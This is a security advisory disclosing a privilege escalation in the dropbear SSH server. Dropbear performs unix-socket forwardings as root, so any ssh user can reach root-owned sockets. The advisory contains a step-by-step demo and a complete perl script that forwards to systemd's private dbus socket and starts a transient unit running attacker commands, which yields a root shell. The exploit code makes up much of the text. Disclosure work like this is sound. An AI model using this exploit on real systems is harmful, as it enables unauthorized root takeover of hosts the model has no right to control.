[ this is a slightly edited version of the original report send to distros@ on December 4. I would also post it at: https://github.com/turistu/odds-n-ends/blob/main/CVE-2025-14282.md Any further corrections and clarifications will go there ]
When running in multi-user mode and authenticating users, the dropbear ssh server does the socket forwardings (as all the other operations requested by the remote client) as root, only switching to the logged-in user upon spawning a shell or --temporarily-- while doing some operations like reading the user's files. That was quite bad even with tcp sockets [1], but with the recent ability of also using unix domain sockets as the forwarding destination [2], it got much worse: any user able to log in via ssh can connect to any unix socket with the root's credentials, bypassing both file system restrictions and any SO_PEERCRED / SO_PASSCRED checks performed by the peer. And on most systems that could be easily used to get a root shell [3]. ### DEMO Here - 'trixie' is a current debian system with dropbear installed and configured to listen on port 222 [4], - 'luser' is non sudo-able, regular user who can login via ssh and perform socket forwardings (allowed by default), - 'systemd-run.pl' is a perl script which packs up a dbus message and writes it to a unix domain socket (get it from the end of this email). -- from one terminal $ rm ~/sock; ssh -L ~/sock:/run/systemd/private -t -p 222 luser@trixie sleep 71d -- from another terminal $ perl systemd-run.pl ~/sock \ 't=/proc/$(pgrep -f "^sleep 71d")/fd/1; script /dev/null -qc bash <$t >$t' -- back to the first terminal root@trixie:/# _ ### POSSIBLE WORKAROUNDS, FIXES A temporary workaround is to disable any forwardings (whether tcp, unix, x11, agent, etc) by default and instruct the users to run the server in single-user mode and enable them explicitly if they want to use those features. The real fix is to irrevocably setuid/gid/groups to the logged-in user's credentials as soon as possible, before performing any forwardings or reading any user files. Contrary to various claims, root is not (really) needed either for creating pseuto terminals, writing utmp records or pam session management. In particular, switching uids back and forth (as the current code does for some operations[5]) is *not* a proper fix, since the peer may rely on SO_PASSCRED checking, and those checks are performed upon each *read*, not just upon accepting a connection. ### NOTES [1] https://github.com/turistu/dropbearx/commit/cfb81a0 (in my fork of dropbear). That kludge was woefully inadequate, as it was only doing the uid switch upon binding, not upon connecting or resolving hostnames, and it was only switching the uids, not the gids and the groups too. [2] https://github.com/mkj/dropbear/commit/1d5f63c [3] Yes, that means that even with openssh, a user may bypass their own login shell (and any ForceCommand or authorized_keys command="..." restrictions) and run whatever commands they like, but only under their *own* credentials. Example (where user 'foo' has uid '1001'): $ rm -f ~/sock; ssh -fNL ~/sock:/run/user/1001/systemd/private foo@trixie foo@trixie's password: $ perl systemd-run.pl ~/sock /bin/mkdir mkdir -p '/tmp/xx/$(literally&)' ... root@trixie:/# ls -ld /tmp/xx/* drwxrwxr-x 2 foo foo 40 Dec 16 09:32 '/tmp/xx/$(literally&)' This example assumes that sshd runs with UsePAM=yes (the default on debian). But this dbus/systemd thing is only meant as illustration; there are plenty of other ways to (ab)use this; in particular, xwayland / recent linux distros have gutted the X11 cookie auth, only relying on "si:localuser" (i.e. on SO_PEERCRED checks) for authentication. [4] http://cloud.debian.org/images/cloud/trixie/daily/20251215-2327/debian-13-nocloud-amd64-daily-20251215-2327.qcow2 You can change the default port in /etc/default/dropbear [5] see https://github.com/mkj/dropbear/blob/7b8e47a7/src/svr-agentfwd.c#L155 Notice that even after the setegid(), 0 may *still* be part of the *supplementary* groups (and it usually really is ;-)) and so that code will use any perms offered by gid 0. Same goes for svr-authpubkey.c#L473. -----------x------------- systemd-run.pl -----------x----------- #! /usr/bin/perl use strict; my ($peer, @cmd) = @ARGV ? @ARGV : qw(/run/systemd/private date); use IO::Socket::UNIX; my $sock = new IO::Socket::UNIX ($peer) or die "connect: $peer: $!"; $/ = "\r\n"; syswrite $sock, join $/, "\0AUTH EXTERNAL", "DATA", "BEGIN", ""; while(1){ die "unexpected EOF" unless defined ($_ = <$sock>); last if /^OK / } @cmd = ('/usr/bin/sh', 'sh', '-c', @cmd) if @cmd == 1; syswrite $sock, pack_dbus(q{ &y 108 1 4 1 &u ?len 1 &a(yv) { &r &y 1 &vo /org/freedesktop/systemd1 &r &y 3 &vs StartTransientUnit &r &y 2 &vs org.freedesktop.systemd1.Manager &r &y 6 &vs org.freedesktop.systemd1 &r &y 8 &vg ssa(sv)a(sa(sv)) } &r &t=. &s ["run-".int(rand 1<<32).".service"] &s fail &a(sv) { &r &s ExecStart &va(sasb) { &r &s [[ $cmd[0] ]] &as { &s [[ @cmd[1..$#cmd] ]] } &b 0 } } &a(sa(sv)) &len=.-t }); package packer { sub TIEHASH { my $p = shift; bless {'', \$_[0]}, $p } sub FETCH { $_[0]{$_[1]}{v} } sub STORE { my $v = $_[0]{$_[1]}{v} = $_[2]; my $h = $_[0]{$_[1]}; substr ${$_[0]{''}}, $$h{o}, $$h{l}, pack $$h{s}, $v if $$h{l}; $v } sub pack { my $d = shift->{''}; my $s = shift; $$d = pack "a* $s", $$d, @_ } } my (%ts, $ts); BEGIN { sub{while(@_){ $ts{$_}=["x!$_[1]", $_[2]] for split '', $_[0]; splice @_, 0, 3 }}->(qw[ y 1 C ubh 4 L so 4 L/a*x g 1 C/a*x re({ 8 a0 a 4 a0 i 4 l n 2 s q 2 S x 8 q t 8 Q d 8 d ]); $ts = qr/[@{[keys %ts]}]/; } sub pack_dbus { @_ = map /(?{pos})\[+(?{(pos)-$^R}).*?(?:(??{"\\]"x$^R})|$)|\S+/gs, @_; my $p = tie my %h, packer => my $d; my @o; while(@_){ if(($_ = shift) eq '}'){ my $o = pop @o or die "unbalanced '}'"; substr $d, $$o[0], 4, pack 'L', length($d) - $$o[1]; next } die "unexpected token '$_'" unless s/^&//; if(/=/){ s/([a-z]\w*)/(\$h{$1})/gi, s/\./(length\$d)/g; defined($_ = eval) or die "$_: $@"; next } my $vt = s/^v&?// ? 'C/a*x' : 'a0'; if(/^a($ts)/){ $p->pack("$vt x!4", $_); my $o = length $d; $p->pack("L $ts{$1}[0]"); shift, push @o, [$o, length $d] if $_[0] eq '{'; next; } $p->pack("$vt x!8", $_), next if $_ eq 'r'; die "no such type $_" unless /^$ts$/; my ($t, @t) = ($_, @{$ts{$_}}); while(@_ and $_[0] !~ /^[&}]/){ if(($_ = shift) =~ s/^\?//){ $p->pack("$vt $t[0]", $t); my $o = length $d; $p->pack("x[$t[1]]"); $$p{$_} = { s => $t[1], o => $o, l => length($d) - $o } }elsif(/^\[/){ s/^\[+|\]+$//g; defined(my @v = eval) or die "$_: $@"; $p->pack("$vt @t", $t, $_) for @v; }else{ $p->pack("$vt @t", $t, $_); } } } $d }
